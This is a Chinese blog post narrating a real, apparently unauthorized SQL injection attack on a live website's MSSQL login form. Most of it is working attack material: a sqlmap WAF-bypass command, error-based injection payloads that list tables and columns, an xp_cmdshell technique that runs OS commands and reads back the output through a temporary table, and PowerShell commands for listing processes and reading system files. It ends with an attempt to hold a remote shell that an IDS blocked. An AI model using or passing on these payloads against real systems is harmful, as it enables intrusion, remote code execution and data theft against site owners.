一次糟糕的mssql注入尝试
观前提醒
本文已对实际的人以游戏或番剧人名代替
前言
源于昨天一次组团冲塔的时候发现的一个站。原本随便看一下,没注入就换目标。结果呢
随手一测还真有个注入。然后开始漫长的摸索…
过程
一个熟悉的登录框
哎,反手一个引号。sql server Error
sqlmap扔进去?没跑出来,经过测试,得到sqlmap command绕过 WAF (空气waf就像3090一样根本不存在)
sudo proxychains sqlmap -r post.txt --tamper=space2randomblank.py,equaltolike.py -v 3
盲注,慢的一批
就在逐个跑表的时候,一名A哥已经手注了。这时我赶紧白嫖了A哥的payload
id=1' and 1<(select @@version) --&password=11111
报错注入bingo
获取所有表名或子段名/某指定表名
id=admin' and 1<(select QUOTENAME(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_CATALOG=DB_NAME() FOR XML PATH(''))--&passwd=dasdasd
id=admin' and 1<(select QUOTENAME(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='wwwlog' FOR XML PATH(''))--&passwd=dasdasd
id=admin' and 1<(select QUOTENAME(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_CATALOG=DB_NAME() FOR XML PATH(''))--&passwd=dasdasd
id=admin' and 1<(select QUOTENAME(UNAME) from master dbo.wwwlog FOR XML PATH(''))--&passwd=dasdasd
后发现sqlmap跑出来的数据和查出来的差一大截,索性不用sqlmap
后面测试多段注入使用cmd_shell尝试能否使用的时候,发现并未成功(后面发现的原因是master..xp_cmdshell不行,直接xp_cmdshell就可以????)
思考半天后不知如何实现回显RCE,后搜到一篇文章如醍醐灌顶。
创建表,把执行结果插入到表里然后读取即可
id=admin' CREATE TABLE tmpx (tmp1 varchar(max),tmp2 varchar(max))--&password=11
id=admin' insert into tmpx (tmp1) exec xp_cmdshell 'whoami'--&password=11
id=admin' and 1<(select QUOTENAME(tmp1) from tmpx FOR XML PATH('')) --&password=11
id=admin' drop table tmpx --&password=11
为了方便执行命令,写了个py
然后遇见的几个坑
1.type读文件不行
2.sql server的表存储内容大小有限,超过会被截断
解决方法统一用powershell来代替
读取进程
powershell "tasklist /svc | Select -First 35" #读取到35行
powershell "$data=tasklist /svc;$data[36..60]" #从36行读到60行
用上面的第二条命令逐行读取直到读完全部
powershell代替type命令读取文件
powershell "get-content C:\Windows\System32\drivers\etc\hosts"
powershell "get-content C:\Windows\System32\drivers\etc\hosts | Select -First 10"
尝试上线提权发现,shell连几秒后马上断开。最后确定是IDS的问题,现在卡在这个地方…
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:一次糟糕的mssql注入尝试
本文作者:九世
发布时间:2021-02-13, 21:51:15
最后更新:2021-02-13, 23:10:47
原始链接:http://jiushill.github.io/posts/976028d5.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。